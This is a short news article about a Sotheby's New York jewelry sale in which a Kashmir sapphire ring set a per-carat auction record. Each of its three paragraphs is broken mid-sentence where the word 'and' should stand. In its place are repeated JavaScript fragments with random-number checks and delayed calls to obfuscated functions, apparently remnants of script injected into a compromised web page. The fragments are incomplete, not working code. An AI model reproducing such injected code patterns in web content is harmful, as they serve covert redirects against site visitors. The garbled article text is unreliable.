NEW YORK CITY — A new world auction record price per carat for any sapphire was set April 29 at Sotheby’s New York, when a platinum, Kashmir sapphire andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond ring attained $5,093,000, which is about $180,000 per carat. The square emerald-cut Kashmir sapphire, weighing 28.18 carats, was described by the American Gemological Laboratories (AGL) as “a gem of singular importance.”

The auction of “Magnificent Jewels” achieved $44,313,500 in total, led by a fancy intense orange-pink diamond andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond ring that brought $6,101,000, featuring a cushion-cut diamond of 15.23 carats.

Gary Schuler, head of Sotheby’s jewelry department in New York, said, “It was a privilege to offer the remarkable Kashmir sapphire that set a new world auction record price per carat in today’s sale, with proceeds to benefit a charitable foundation. With its exceptional quality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and deep color, I knew as soon as I saw it that the stone had the potential to reach historic heights.”

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